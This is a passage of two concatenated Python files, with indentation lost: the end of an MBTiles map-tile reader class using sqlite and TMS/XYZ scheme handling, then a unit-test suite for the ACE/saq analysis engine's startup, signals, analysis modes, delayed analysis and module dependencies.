self.zoomlevels=[]
self.zoomLevelBoundings={}
self.schemeTMS=True
self.originalScheme=None
self.schemeInconsistent=False #if there is a scheme entry in the DB but no avnav_schema
self.requestQueue=[]
self.timeout=timeout
self.stop=False
self.handler=threading.Thread(target=self.handleRequests)
self.handler.setDaemon(True)
self.handler.start()
self.changeCount=AVNUtil.utcnow()
def getOriginalScheme(self):
if not self.schemeInconsistent:
return None
return self.originalScheme
def handleRequests(self):
connection=sqlite3.connect(self.filename)
while not self.stop:
self.cond.acquire()
request=None
if len(self.requestQueue) > 0:
request=self.requestQueue.pop(0)
else:
self.cond.wait(5)
self.cond.release()
if request is not None:
data=self.getTileDataInternal(request.tile,connection)
request.setData(data)
connection.close()
#tile is (z,x,y)
def zxyToZoomColRow(self,tile):
if self.schemeTMS:
return [tile[0],tile[1],pow(2,tile[0])-1-tile[2]]
else:
return [tile[0],tile[1],tile[2]]
def rowToY(self, z, row):
if self.schemeTMS:
return pow(2,z)-1-row
else:
return row
def colToX(self, z, col):
return col
#open the file and prepare the overview
def open(self):
if self.isOpen:
raise Exception("mbtiles file %s already open" % (self.filename))
if not os.path.isfile(self.filename):
raise Exception("mbtiles file %s not found" %(self.filename))
self.createOverview()
self.isOpen=True
#tile is (z,x,y)
def getTileData(self,tile,source):
if not self.isOpen:
raise Exception("not open")
request=QueueEntry(tile)
self.cond.acquire()
try:
self.requestQueue.append(request)
self.cond.notify_all()
except:
pass
self.cond.release()
AVNLog.debug("waiting for tile")
data=request.waitAndGet()
AVNLog.debug("tile received")
return data
def getTileDataInternal(self,tile,connection):
cu=None
try:
cu=connection.execute("select tile_data from tiles where zoom_level=? and tile_column=? and tile_row=?",self.zxyToZoomColRow(tile))
t=cu.fetchone()
cu.close()
return t[0]
except Exception as e:
if cu is not None:
try:
cu.close()
except:
pass
return None
def getAvnavXml(self,upzoom=2):
if not self.isOpen:
return None
ranges=[]
for zl in self.zoomlevels:
de=self.zoomLevelBoundings[zl].copy()
de['zoom']=zl
ranges.append(de)
#create a single source with one range for each zoomlevel
data=[{"name":"mbtiles","ranges":ranges}]
return create_overview.getGemfInfo(data,{})
def createOverview(self):
zoomlevels=[]
zoomLevelBoundings={}
connection = sqlite3.connect(self.filename)
if connection is None:
raise Exception("unable to open mbtiles file %s" % (self.filename))
AVNLog.info("opening mbtiles file %s", self.filename)
cu = None
hasAvnavScheme=False
try:
cu = connection.cursor()
for sr in cu.execute("select value from metadata where name=?",["avnav_scheme"]):
v=sr[0]
if v is not None:
v=v.lower()
if v in ['tms','xyz']:
AVNLog.info("setting scheme for %s to %s",self.filename,v)
self.schemeTMS=False if v == "xyz" else True
self.schemeInconsistent=False
hasAvnavScheme=True
#check if there is a schema entry
for sr in cu.execute("select value from metadata where name=?",["scheme"]):
v=sr[0]
if v is not None:
v=v.lower()
self.originalScheme=v
if not hasAvnavScheme:
self.schemeInconsistent=True
for zl in cu.execute("select distinct zoom_level from tiles;"):
zoomlevels.append(zl[0])
for zl in zoomlevels:
el = {}
for rowmima in cu.execute("select min(tile_row),max(tile_row) from tiles where zoom_level=?", [zl]):
# names must match getGemfInfo in create_overview
if self.schemeTMS:
el['ymin'] = self.rowToY(zl, rowmima[1])
el['ymax'] = self.rowToY(zl, rowmima[0])
else:
el['ymin'] = self.rowToY(zl, rowmima[0])
el['ymax'] = self.rowToY(zl, rowmima[1])
for colmima in cu.execute("select min(tile_column),max(tile_column) from tiles where zoom_level=?", [zl]):
el['xmin'] = self.colToX(zl, colmima[0])
el['xmax'] = self.colToX(zl, colmima[1])
zoomLevelBoundings[zl] = el
except Exception as e:
AVNLog.error("error reading base info from %s:%s", self.filename, e.message)
self.zoomlevels=zoomlevels
self.zoomLevelBoundings=zoomLevelBoundings
if cu is not None:
cu.close()
connection.close()
self.changeCount=AVNUtil.utcnow()
def changeScheme(self,schema,createOverview=True):
if schema not in ['xyz','tms']:
raise Exception("unknown schema %s"%schema)
if schema == "xyz":
if not self.schemeTMS and not self.schemeInconsistent:
return False
self.schemeTMS=False
if schema == "tms":
if self.schemeTMS and not self.schemeInconsistent:
return False
self.schemeTMS=True
con=sqlite3.connect(self.filename)
cu = con.cursor()
try:
rs=cu.execute("select value from metadata where name=?", ["avnav_scheme"])
row=rs.fetchone()
if row is not None:
cu.execute("update metadata set value=? where name='avnav_scheme'",[schema])
con.commit()
else:
cu.execute("insert into metadata (name,value) values ('avnav_scheme',?)",[schema])
con.commit()
except Exception as e:
cu.close()
con.close()
raise
cu.close()
con.close()
if (createOverview):
self.createOverview()
return True
def getScheme(self):
return "tms" if self.schemeTMS else "xyz"
def close(self):
if not self.isOpen:
return
self.stop=True
#cancel all requests by returning None
self.cond.acquire()
requests=self.requestQueue
self.requestQueue=[]
self.cond.notify_all()
self.cond.release()
for rq in requests:
try:
rq.setData(None)
except:
pass
def deleteFiles(self):
self.close()
if os.path.isfile(self.filename):
os.unlink(self.filename)
def getChangeCount(self):
return self.changeCount
def getDownloadFile(self):
return self.filename
def __unicode__(self):
rt="mbtiles %s " %(self.filename)
return rt
if __name__ == "__main__":
f=MBTilesFile(sys.argv[1])
f.open()
print "read file %s" %(f,)
print f.getAvnavXml()
|
test.py
|
# vim: sw=4:ts=4:et
import logging
import os, os.path
import pickle
import re
import shutil
import signal
import tarfile
import tempfile
import threading
import unittest
import uuid
from multiprocessing import Queue, cpu_count, Event
from queue import Empty
import saq, saq.test
from saq.analysis import RootAnalysis, _get_io_read_count, _get_io_write_count, Observable
from saq.constants import *
from saq.database import get_db_connection, use_db, acquire_lock, clear_expired_locks, initialize_node
from saq.engine import Engine, DelayedAnalysisRequest, add_workload
from saq.network_client import submit_alerts
from saq.observables import create_observable
from saq.test import *
from saq.util import *
class TestCase(ACEEngineTestCase):
def test_controlled_stop(self):
engine = Engine()
try:
engine.start()
engine.controlled_stop()
engine.wait()
except KeyboardInterrupt:
engine.stop()
engine.wait()
def test_immediate_stop(self):
engine = Engine()
try:
engine.start()
engine.stop()
engine.wait()
except KeyboardInterrupt:
engine.stop()
engine.wait()
def test_signal_TERM(self):
engine = Engine()
try:
engine.start()
def _send_signal():
wait_for_log_count('waiting for engine process', 1)
os.kill(engine.engine_process.pid, signal.SIGTERM)
t = threading.Thread(target=_send_signal)
t.start()
engine.wait()
except KeyboardInterrupt:
engine.stop()
engine.wait()
def test_signal_INT(self):
engine = Engine()
try:
engine.start()
def _send_signal():
wait_for_log_count('waiting for engine process', 1)
os.kill(engine.engine_process.pid, signal.SIGINT)
t = threading.Thread(target=_send_signal)
t.start()
engine.wait()
except KeyboardInterrupt:
engine.stop()
engine.wait()
def test_single_process(self):
# test starting and stopping in single-process mode
engine = Engine(single_threaded_mode=True)
try:
engine.start()
except KeyboardInterrupt:
pass
def test_engine_default_pools(self):
# test starting with no analysis pools defined
engine = Engine()
engine.start()
engine.stop()
engine.wait()
# we should see this log message
regex = re.compile(r'no analysis pools defined -- defaulting to (\d+) workers assigned to any pool')
results = search_log_regex(regex)
self.assertEquals(len(results), 1)
m = regex.search(results[0].getMessage())
self.assertIsNotNone(m)
self.assertEquals(int(m.group(1)), cpu_count())
@use_db
def test_acquire_node_id(self, db, c):
engine = Engine()
engine.start()
engine.stop()
engine.wait()
# when an Engine starts up it should acquire a node_id for saq.SAQ_NODE
self.assertIsNotNone(saq.SAQ_NODE_ID)
c.execute("""SELECT name, location, company_id, is_primary, any_mode, is_local
FROM nodes WHERE id = %s""", (saq.SAQ_NODE_ID,))
row = c.fetchone()
self.assertIsNotNone(row)
_name, _location, _company_id, _is_primary, _any_mode, _is_local = row
self.assertEquals(_name, saq.SAQ_NODE)
self.assertEquals(_location, saq.API_PREFIX)
self.assertEquals(_company_id, saq.COMPANY_ID)
#self.assertIsInstance(_any_mode, int)
#self.assertEquals(_any_mode, 0)
self.assertIsInstance(_is_local, int)
self.assertEquals(_is_local, 0)
@use_db
def test_acquire_local_node_id(self, db, c):
engine = Engine()
engine.set_local()
engine.start()
engine.stop()
engine.wait()
# when a local engine starts up it should acquire a local node with a uuid as the name
self.assertIsNotNone(saq.SAQ_NODE_ID)
c.execute("""SELECT name, location, company_id, is_primary, any_mode, is_local
FROM nodes WHERE id = %s""", (saq.SAQ_NODE_ID,))
row = c.fetchone()
from saq.util import validate_uuid
self.assertIsNotNone(row)
_name, _location, _company_id, _is_primary, _any_mode, _is_local = row
self.assertTrue(validate_uuid(_name))
self.assertEquals(_company_id, saq.COMPANY_ID)
#self.assertIsInstance(_any_mode, int)
#self.assertEquals(_any_mode, 0)
self.assertIsInstance(_is_local, int)
self.assertEquals(_is_local, 1)
def test_analysis_modes(self):
engine = TestEngine()
engine.initialize()
engine.initialize_modules()
# analysis mode test_empty should have 0 modules
self.assertEquals(len(engine.analysis_mode_mapping['test_empty']), 0)
engine = TestEngine()
engine.enable_module('analysis_module_basic_test', 'test_empty')
engine.enable_module('analysis_module_test_delayed_analysis', 'test_empty')
engine.enable_module('analysis_module_test_engine_locking', 'test_empty')
engine.enable_module('analysis_module_test_final_analysis', 'test_empty')
engine.enable_module('analysis_module_test_post_analysis', 'test_empty')
engine.initialize()
engine.initialize_modules()
# analysis mode test_single should have 1 module
self.assertEquals(len(engine.analysis_mode_mapping['test_single']), 1)
self.assertEquals(engine.analysis_mode_mapping['test_single'][0].config_section, 'analysis_module_basic_test')
# analysis mode test_groups should have 5 modules
self.assertEquals(len(engine.analysis_mode_mapping['test_groups']), 5)
# analysis mode test_disabled should have 4 modules (minus basic_test)
self.assertEquals(len(engine.analysis_mode_mapping['test_disabled']), 4)
self.assertTrue('analysis_module_basic_test' not in [m.config_section for m in engine.analysis_mode_mapping['test_disabled']])
def test_single_process_analysis(self):
root = create_root_analysis(uuid=str(uuid.uuid4()))
root.storage_dir = storage_dir_from_uuid(root.uuid)
root.initialize_storage()
observable = root.add_observable(F_TEST, 'test_1')
root.analysis_mode = 'test_single'
root.save()
root.schedule()
engine = TestEngine()
engine.enable_module('analysis_module_basic_test')
#engine.controlled_stop() # redundant
engine.single_threaded_start(mode='test_single')
root.load()
observable = root.get_observable(observable.id)
self.assertIsNotNone(observable)
from saq.modules.test import BasicTestAnalysis
analysis = observable.get_analysis(BasicTestAnalysis)
self.assertIsNotNone(analysis)
def test_multi_process_analysis(self):
root = create_root_analysis(uuid=str(uuid.uuid4()))
root.storage_dir = storage_dir_from_uuid(root.uuid)
root.initialize_storage()
observable = root.add_observable(F_TEST, 'test_1')
root.analysis_mode = 'test_single'
root.save()
root.schedule()
engine = TestEngine()
engine.enable_module('analysis_module_basic_test')
engine.controlled_stop()
engine.start()
engine.wait()
root.load()
observable = root.get_observable(observable.id)
self.assertIsNotNone(observable)
from saq.modules.test import BasicTestAnalysis
analysis = observable.get_analysis(BasicTestAnalysis)
self.assertIsNotNone(analysis)
def test_missing_analysis_mode(self):
root = create_root_analysis(uuid=str(uuid.uuid4()))
root.analysis_mode = None # <-- no analysis mode here
root.storage_dir = storage_dir_from_uuid(root.uuid)
root.initialize_storage()
observable = root.add_observable(F_TEST, 'test_1')
root.save()
root.schedule()
engine = TestEngine()
engine.default_analysis_mode = 'test_single' # <-- default to test_single
engine.enable_module('analysis_module_basic_test')
engine.controlled_stop()
engine.start()
engine.wait()
# the analysis mode should default to test_single
root = RootAnalysis(storage_dir=root.storage_dir)
root.load()
self.assertIsNone(root.analysis_mode)
observable = root.get_observable(observable.id)
self.assertIsNotNone(observable)
from saq.modules.test import BasicTestAnalysis
analysis = observable.get_analysis(BasicTestAnalysis)
self.assertIsNotNone(analysis)
def test_invalid_analysis_mode(self):
# an invalid analysis mode happens when you submit an analysis to an engine
# that supports any analysis mode but doesn't have any configuration settings
# for the one that was submitted
# in that case we use the default_analysis_mode
# we're setting the analysis mode to an invalid value
root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='foobar')
root.storage_dir = storage_dir_from_uuid(root.uuid)
root.initialize_storage()
observable = root.add_observable(F_TEST, 'test_1')
root.save()
root.schedule()
engine = TestEngine(local_analysis_modes=[])
engine.default_analysis_mode = 'test_single'
engine.enable_module('analysis_module_basic_test')
engine.controlled_stop()
engine.start()
engine.wait()
# the analysis mode should default to test_empty but we should also get a warning
root = RootAnalysis(storage_dir=root.storage_dir)
root.load()
observable = root.get_observable(observable.id)
self.assertIsNotNone(observable)
from saq.modules.test import BasicTestAnalysis
analysis = observable.get_analysis(BasicTestAnalysis)
self.assertIsNotNone(analysis)
self.assertTrue(log_count('invalid analysis mode') > 0)
def test_multi_process_multi_analysis(self):
uuids = []
for _ in range(3):
root = create_root_analysis(uuid=str(uuid.uuid4()))
root.storage_dir = storage_dir_from_uuid(root.uuid)
root.initialize_storage()
observable = root.add_observable(F_TEST, 'test_1')
root.analysis_mode = 'test_single'
root.save()
root.schedule()
uuids.append((root.uuid, observable.id))
engine = TestEngine()
engine.enable_module('analysis_module_basic_test')
engine.controlled_stop()
engine.start()
engine.wait()
for root_uuid, observable_uuid in uuids:
root = RootAnalysis(uuid=root_uuid)
root.storage_dir = storage_dir_from_uuid(root_uuid)
root.load()
observable = root.get_observable(observable_uuid)
self.assertIsNotNone(observable)
from saq.modules.test import BasicTestAnalysis
analysis = observable.get_analysis(BasicTestAnalysis)
self.assertIsNotNone(analysis)
def test_no_enabled_modules(self):
# by default the analysis modules specified for the unit tests are disabled (globally)
# so just starting up an engine should load no modules at all
# even though there are modules enabled for the "test_groups" analysis mode
engine = TestEngine(analysis_pools={'test_groups': 1})
engine.controlled_stop()
engine.start()
engine.wait()
self.assertEquals(log_count('loading module '), 0)
def test_globally_enabled_modules(self):
# if we globally enable ALL modules then we should see the correct modules get loaded
for section in saq.CONFIG.keys():
if not section.startswith('analysis_module_'):
continue
saq.CONFIG[section]['enabled'] = 'yes'
# the config file specifies test_empty,test_single,test_groups,test_disabled,test_cleanup as the
# locally supported analysis modes
# so we should see only the modules assigned to these modes get loaded here
engine = TestEngine(analysis_pools={'test_groups': 1})
engine.controlled_stop()
engine.start()
engine.wait()
# there should be 13 analysis modules loaded
self.assertEquals(log_count('loading module '), 17)
def test_locally_enabled_modules(self):
# if we enable modules locally then ONLY those should get loaded
# first we change the config to globally enable all modules
for section in saq.CONFIG.keys():
if not section.startswith('analysis_module_'):
continue
saq.CONFIG[section]['enabled'] = 'yes'
engine = TestEngine(analysis_pools={'test_groups': 1})
# this is the only module that should get loaded
engine.enable_module('analysis_module_basic_test')
engine.controlled_stop()
engine.start()
engine.wait()
# even though 5 are specified and globally enabled, only 1 is loaded
self.assertEquals(log_count('loading module '), 1)
self.assertEquals(log_count('loading module analysis_module_basic_test'), 1)
def test_no_analysis(self):
root = create_root_analysis(uuid=str(uuid.uuid4()))
root.storage_dir = storage_dir_from_uuid(root.uuid)
root.initialize_storage()
# this test should return False instead of an Analysis
observable = root.add_observable(F_TEST, 'test_2')
root.analysis_mode = 'test_single'
root.save()
root.schedule()
engine = TestEngine()
engine.enable_module('analysis_module_basic_test')
engine.controlled_stop()
engine.start()
engine.wait()
root = RootAnalysis(uuid=root.uuid, storage_dir=root.storage_dir)
root.load()
observable = root.get_observable(observable.id)
from saq.modules.test import BasicTestAnalysis
# so this should come back as False
self.assertTrue(isinstance(observable.get_analysis(BasicTestAnalysis), bool))
self.assertFalse(observable.get_analysis(BasicTestAnalysis))
def test_no_analysis_no_return(self):
root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_single')
root.storage_dir = storage_dir_from_uuid(root.uuid)
root.initialize_storage()
observable = root.add_observable(F_TEST, 'test_3')
root.save()
root.schedule()
engine = TestEngine()
engine.enable_module('analysis_module_basic_test')
engine.controlled_stop()
engine.start()
engine.wait()
root = RootAnalysis(uuid=root.uuid, storage_dir=root.storage_dir)
root.load()
observable = root.get_observable(observable.id)
from saq.modules.test import BasicTestAnalysis
# so what happens here is even though you return nothing from execute_analysis
# execute_final_analysis defaults to returning False
self.assertFalse(observable.get_analysis(BasicTestAnalysis))
# you should also get a warning log
wait_for_log_count('is not returning a boolean value', 1, 5)
def test_delayed_analysis_single(self):
root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups')
root.storage_dir = storage_dir_from_uuid(root.uuid)
root.initialize_storage()
observable = root.add_observable(F_TEST, '0:01|0:05')
root.save()
root.schedule()
engine = TestEngine()
engine.enable_module('analysis_module_test_delayed_analysis')
engine.controlled_stop()
engine.start()
engine.wait()
from saq.modules.test import DelayedAnalysisTestAnalysis
root = create_root_analysis(uuid=root.uuid, storage_dir=storage_dir_from_uuid(root.uuid))
root.load()
analysis = root.get_observable(observable.id).get_analysis(DelayedAnalysisTestAnalysis)
self.assertIsNotNone(analysis)
self.assertTrue(analysis.initial_request)
self.assertTrue(analysis.delayed_request)
self.assertEquals(analysis.request_count, 2)
self.assertTrue(analysis.completed)
def test_delayed_analysis_multiple(self):
uuids = []
for i in range(3):
root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups')
root.storage_dir = storage_dir_from_uuid(root.uuid)
root.initialize_storage()
observable = root.add_observable(F_TEST, '0:01|0:05')
root.save()
root.schedule()
uuids.append((root.uuid, observable.id))
engine = TestEngine()
engine.enable_module('analysis_module_test_delayed_analysis')
engine.controlled_stop()
engine.start()
engine.wait()
from saq.modules.test import DelayedAnalysisTestAnalysis
for root_uuid, observable_uuid in uuids:
root = create_root_analysis(uuid=root_uuid, storage_dir=storage_dir_from_uuid(root_uuid))
root.load()
analysis = root.get_observable(observable_uuid).get_analysis(DelayedAnalysisTestAnalysis)
self.assertTrue(analysis.initial_request)
self.assertTrue(analysis.delayed_request)
self.assertEquals(analysis.request_count, 2)
self.assertTrue(analysis.completed)
def test_delayed_analysis_timing(self):
root_1 = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups')
root_1.initialize_storage()
o_1 = root_1.add_observable(F_TEST, '0:04|0:10')
root_1.save()
root_1.schedule()
root_2 = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups')
root_2.initialize_storage()
o_2 = root_2.add_observable(F_TEST, '0:01|0:10')
root_2.save()
root_2.schedule()
engine = TestEngine()
engine.enable_module('analysis_module_test_delayed_analysis')
engine.controlled_stop()
engine.start()
engine.wait()
from saq.modules.test import DelayedAnalysisTestAnalysis
# the second one should finish before the first one
root_1 = RootAnalysis(uuid=root_1.uuid, storage_dir=root_1.storage_dir)
root_1.load()
analysis_1 = root_1.get_observable(o_1.id).get_analysis(DelayedAnalysisTestAnalysis)
self.assertTrue(analysis_1.initial_request)
self.assertTrue(analysis_1.delayed_request)
self.assertEquals(analysis_1.request_count, 2)
self.assertTrue(analysis_1.completed)
root_2 = RootAnalysis(uuid=root_2.uuid, storage_dir=root_2.storage_dir)
root_2.load()
analysis_2 = root_2.get_observable(o_2.id).get_analysis(DelayedAnalysisTestAnalysis)
self.assertTrue(analysis_2.initial_request)
self.assertTrue(analysis_2.delayed_request)
self.assertEquals(analysis_2.request_count, 2)
self.assertTrue(analysis_2.completed)
self.assertLess(analysis_2.complete_time, analysis_1.complete_time)
def test_unix_signals(self):
engine = TestEngine()
engine.start()
# tell ACE to reload the configuration and then reload all the workers
os.kill(engine.engine_process.pid, signal.SIGHUP)
wait_for_log_count('reloading engine configuration', 1, 5)
wait_for_log_count('got command to restart workers', 1, 5)
wait_for_log_count('started worker loop', 2)
engine.controlled_stop()
engine.wait()
@track_io
def test_io_count(self):
self.assertEquals(_get_io_write_count(), 0)
self.assertEquals(_get_io_read_count(), 0)
root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_single')
root.initialize_storage()
observable = root.add_observable(F_TEST, 'test_1')
root.save()
root.schedule()
self.assertEquals(_get_io_write_count(), 1)
self.assertEquals(_get_io_read_count(), 0)
engine = TestEngine(pool_size_limit=1)
engine.enable_module('analysis_module_basic_test')
engine.controlled_stop()
engine.start()
engine.wait()
# at this point it should have loaded the root analysis
# and then saved it again along with the details for the BasicTestAnalysis
self.assertEquals(_get_io_write_count(), 3)
self.assertEquals(_get_io_read_count(), 1)
from saq.modules.test import BasicTestAnalysis
root = create_root_analysis(storage_dir=root.storage_dir)
root.load()
self.assertEquals(_get_io_write_count(), 3)
self.assertEquals(_get_io_read_count(), 2)
analysis = root.get_observable(observable.id).get_analysis(BasicTestAnalysis)
self.assertEquals(_get_io_read_count(), 2) # should not have loaded details yet...
self.assertTrue(analysis.test_result)
self.assertEquals(_get_io_read_count(), 3)
@track_io
def test_delayed_analysis_io_count(self):
self.assertEquals(_get_io_write_count(), 0)
self.assertEquals(_get_io_read_count(), 0)
root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups')
root.initialize_storage()
observable = root.add_observable(F_TEST, '00:01|00:05')
root.save()
root.schedule()
self.assertEquals(_get_io_write_count(), 1)
self.assertEquals(_get_io_read_count(), 0)
engine = TestEngine(pool_size_limit=1)
engine.enable_module('analysis_module_test_delayed_analysis')
engine.controlled_stop()
engine.start()
engine.wait()
# expect 5 writes at this point
# (1) initial root analysis save
# (2) initial module save
# (3) root analysis completed save
# (4) updated module save
# (5) root analysis completed save
self.assertEquals(_get_io_write_count(), 5)
# and then 4 reads (one LOAD for each, iterated twice)
self.assertEquals(_get_io_read_count(), 3)
from saq.modules.test import DelayedAnalysisTestAnalysis
root = create_root_analysis(uuid=root.uuid)
self.assertTrue(root.load())
self.assertEquals(_get_io_write_count(), 5)
self.assertEquals(_get_io_read_count(), 4)
analysis = root.get_observable(observable.id).get_analysis(DelayedAnalysisTestAnalysis)
self.assertIsNotNone(analysis)
self.assertEquals(_get_io_read_count(), 4) # should not have loaded details yet...
self.assertTrue(analysis.delayed_request)
self.assertEquals(_get_io_read_count(), 5)
def test_autorefresh(self):
saq.CONFIG['engine']['auto_refresh_frequency'] = '3'
engine = TestEngine(pool_size_limit=1)
engine.start()
wait_for_log_count('triggered reload of worker modules', 1)
wait_for_log_count('detected death of process', 1)
engine.controlled_stop()
engine.wait()
def test_final_analysis(self):
"""Test final analysis execution."""
root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups')
root.initialize_storage()
observable = root.add_observable(F_TEST, 'test')
root.save()
root.schedule()
engine = TestEngine(pool_size_limit=1)
engine.enable_module('analysis_module_test_final_analysis')
engine.controlled_stop()
engine.start()
engine.wait()
# we should have a single observable now
root = create_root_analysis(uuid=root.uuid)
root.load()
self.assertEquals(len(root.all_observables), 1)
self.assertTrue(root.has_observable(F_TEST, 'test'))
from saq.modules.test import FinalAnalysisTestAnalysis
analysis = root.get_observable(observable.id).get_analysis(FinalAnalysisTestAnalysis)
self.assertIsNotNone(analysis)
# we should have seen this twice since the modification of adding an analysis will triggert
# final analysis again
self.assertEquals(log_count('entering final analysis for '), 2)
@track_io
def test_final_analysis_io_count(self):
self.assertEquals(_get_io_write_count(), 0)
self.assertEquals(_get_io_read_count(), 0)
root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups')
root.initialize_storage()
observable = root.add_observable(F_TEST, 'test')
root.save()
root.schedule()
self.assertEquals(_get_io_write_count(), 1)
self.assertEquals(_get_io_read_count(), 0)
engine = TestEngine(pool_size_limit=1)
engine.enable_module('analysis_module_test_final_analysis')
engine.controlled_stop()
engine.start()
engine.wait()
self.assertEquals(_get_io_write_count(), 3)
self.assertEquals(_get_io_read_count(), 1)
self.assertEquals(log_count('entering final analysis for '), 2)
@track_io
def test_final_analysis_io_count_2(self):
"""Same thing as before but we test with multiple observables."""
self.assertEquals(_get_io_write_count(), 0)
self.assertEquals(_get_io_read_count(), 0)
root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups')
root.initialize_storage()
observable_1 = root.add_observable(F_TEST, 'test_01')
observable_2 = root.add_observable(F_TEST, 'test_02')
root.save()
root.schedule()
self.assertEquals(_get_io_write_count(), 1)
self.assertEquals(_get_io_read_count(), 0)
engine = TestEngine(pool_size_limit=1)
engine.enable_module('analysis_module_test_final_analysis')
engine.controlled_stop()
engine.start()
engine.wait()
self.assertEquals(_get_io_write_count(), 4)
self.assertEquals(_get_io_read_count(), 1)
self.assertEquals(log_count('entering final analysis for '), 3)
# ensure that post analysis is executed even if delayed analysis times out
def test_delayed_analysis_timeout(self):
root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups')
test_observable = root.add_observable(F_TEST, '0:01|0:01')
root.save()
root.schedule()
engine = TestEngine()
engine.enable_module('analysis_module_test_delayed_analysis_timeout', 'test_groups')
engine.enable_module('analysis_module_test_post_analysis', 'test_groups')
engine.start()
# wait for delayed analysis to time out
wait_for_log_count('has timed out', 1)
engine.controlled_stop()
engine.wait()
# post analysis should have executed
self.assertEquals(log_count('execute_post_analysis called'), 1)
def test_wait_for_analysis(self):
root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups')
root.initialize_storage()
test_observable = root.add_observable(F_TEST, 'test_1')
root.save()
root.schedule()
engine = TestEngine(analysis_pools={'test_groups': 1})
engine.enable_module('analysis_module_test_wait_a', 'test_groups')
engine.enable_module('analysis_module_test_wait_b', 'test_groups')
engine.controlled_stop()
engine.start()
engine.wait()
root = RootAnalysis(uuid=root.uuid, storage_dir=root.storage_dir)
root.load()
test_observable = root.get_observable(test_observable.id)
self.assertIsNotNone(test_observable)
from saq.modules.test import WaitAnalysis_A, WaitAnalysis_B
self.assertIsNotNone(test_observable.get_analysis(WaitAnalysis_A))
self.assertIsNotNone(test_observable.get_analysis(WaitAnalysis_B))
self.assertEquals(log_count("depends on"), 1)
def test_wait_for_disabled_analysis(self):
root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups')
root.initialize_storage()
test_observable = root.add_observable(F_TEST, 'test_1')
root.save()
root.schedule()
engine = TestEngine(analysis_pools={'test_groups': 1})
engine.enable_module('analysis_module_test_wait_a', 'test_groups')
#engine.enable_module('analysis_module_test_wait_b')
engine.controlled_stop()
engine.start()
engine.wait()
root = RootAnalysis(storage_dir=root.storage_dir)
root.load()
test_observable = root.get_observable(test_observable.id)
self.assertIsNotNone(test_observable)
from saq.modules.test import WaitAnalysis_A, WaitAnalysis_B
self.assertIsNone(test_observable.get_analysis(WaitAnalysis_A))
self.assertIsNone(test_observable.get_analysis(WaitAnalysis_B))
#self.assertEquals(log_count("requested to wait for disabled (or missing) module"), 1)
self.clear_error_reports()
def test_wait_for_analysis_circ_dep(self):
root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups')
root.initialize_storage()
test_observable = root.add_observable(F_TEST, 'test_2')
root.save()
root.schedule()
engine = TestEngine(analysis_pools={'test_groups': 1})
engine.enable_module('analysis_module_test_wait_a', 'test_groups')
engine.enable_module('analysis_module_test_wait_b', 'test_groups')
engine.controlled_stop()
engine.start()
engine.wait()
root = RootAnalysis(storage_dir=root.storage_dir)
root.load()
test_observable = root.get_observable(test_observable.id)
self.assertIsNotNone(test_observable)
from saq.modules.test import WaitAnalysis_A, WaitAnalysis_B
self.assertIsNone(test_observable.get_analysis(WaitAnalysis_A))
self.assertIsNone(test_observable.get_analysis(WaitAnalysis_B))
self.assertEquals(log_count("CIRCULAR DEPENDENCY ERROR"), 1)
def test_wait_for_analysis_missing_analysis(self):
root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups')
root.initialize_storage()
test_observable = root.add_observable(F_TEST, 'test_3')
root.save()
root.schedule()
engine = TestEngine(analysis_pools={'test_groups': 1})
engine.enable_module('analysis_module_test_wait_a', 'test_groups')
engine.enable_module('analysis_module_test_wait_b', 'test_groups')
engine.controlled_stop()
engine.start()
engine.wait()
root = RootAnalysis(storage_dir=root.storage_dir)
root.load()
test_observable = root.get_observable(test_observable.id)
self.assertIsNotNone(test_observable)
from saq.modules.test import WaitAnalysis_A, WaitAnalysis_B
self.assertFalse(test_observable.get_analysis(WaitAnalysis_A))
self.assertIsNotNone(test_observable.get_analysis(WaitAnalysis_B))
# we would only see this log if A waited on B
#self.assertEquals(log_count("did not generate analysis to resolve dep"), 1)
def test_wait_for_analysis_circ_dep_chained(self):
root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups')
root.initialize_storage()
test_observable = root.add_observable(F_TEST, 'test_4')
root.save()
root.schedule()
engine = TestEngine(analysis_pools={'test_groups': 1})
engine.enable_module('analysis_module_test_wait_a', 'test_groups')
engine.enable_module('analysis_module_test_wait_b', 'test_groups')
engine.enable_module('analysis_module_test_wait_c', 'test_groups')
engine.controlled_stop()
engine.start()
engine.wait()
root = RootAnalysis(storage_dir=root.storage_dir)
root.load()
test_observable = root.get_observable(test_observable.id)
self.assertIsNotNone(test_observable)
from saq.modules.test import WaitAnalysis_A, WaitAnalysis_B, WaitAnalysis_C
self.assertIsNone(test_observable.get_analysis(WaitAnalysis_A))
self.assertIsNone(test_observable.get_analysis(WaitAnalysis_B))
self.assertIsNone(test_observable.get_analysis(WaitAnalysis_C))
self.assertEquals(log_count("CIRCULAR DEPENDENCY ERROR"), 1)
def test_wait_for_analysis_chained(self):
root = create_root_analysis(uuid=str(uuid.uuid4()), analysis_mode='test_groups')
root.initialize_storage()
test_observable = root.add_observable(F_TEST, 'test_5')
root.save()
root.schedule()
engine = TestEngine(analysis_pools={'test_groups': 1})
engine.enable_module('analysis_module_test_wait_a', 'test_groups')
engine.enable_module('analysis_module_test_wait_b', 'test_groups')
engine.enable_module('analysis_module_test_wait_c', 'test_groups')
engine.controlled_stop()
engine.start()
engine.wait()
root = RootAnalysis(storage_dir=root.storage_dir)
root.load()
test_observable = root.get_observable(test_observable.id)
self.assertIsNotNone(test_observable)
from saq.modules.test import WaitAnalysis_A, WaitAnalysis_B, WaitAnalysis_C
self.assertIsNotNone(test_observable.get_analysis(WaitAnalysis_A))
